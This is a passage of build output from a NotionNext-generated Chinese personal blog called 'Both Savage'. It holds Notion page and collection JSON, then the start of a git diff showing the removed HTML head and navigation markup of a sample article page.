参考文章"]]},"format":{"copied_from_pointer":{"id":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0"}},"8624876d-b0bf-44d3-86a2-34e832f77ea9":{"value":{"id":"8624876d-b0bf-44d3-86a2-34e832f77ea9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"36b41a1b-fc54-402f-935e-51a74d106e67","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"36b41a1b-fc54-402f-935e-51a74d106e67"}},"f2398279-7337-415d-92de-ce76a1245c9f":{"value":{"id":"f2398279-7337-415d-92de-ce76a1245c9f","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"993e122a-d075-4c01-a170-e2a565684ac1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"993e122a-d075-4c01-a170-e2a565684ac1"}},"d858f147-752b-4fd7-a931-6e270a7b7f98":{"value":{"id":"d858f147-752b-4fd7-a931-6e270a7b7f98","type":"text","format":{"copied_from_pointer":{"id":"ec201c14-0045-4620-9550-234a18b291ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ec201c14-0045-4620-9550-234a18b291ed"}},"468c0bd8-9b86-4390-973c-a9ba199aa3b8":{"value":{"id":"468c0bd8-9b86-4390-973c-a9ba199aa3b8","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"ff80eebf-ace9-49e0-9075-065107f6ca1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ff80eebf-ace9-49e0-9075-065107f6ca1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-9"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example.html b/article/example.html
index 5a4870ea0..054af685f 100644
--- a/article/example.html
+++ b/article/example.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>示例文章 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,文字,推荐"/><meta name="description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="示例文章 | Both Savage"/><meta property="og:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:url" content="https://bothsavage.github.io//article/example"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=d3216be6-1b27-40e7-8677-7404896b7eb6&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta name="twitter:title" content="示例文章 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="心"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 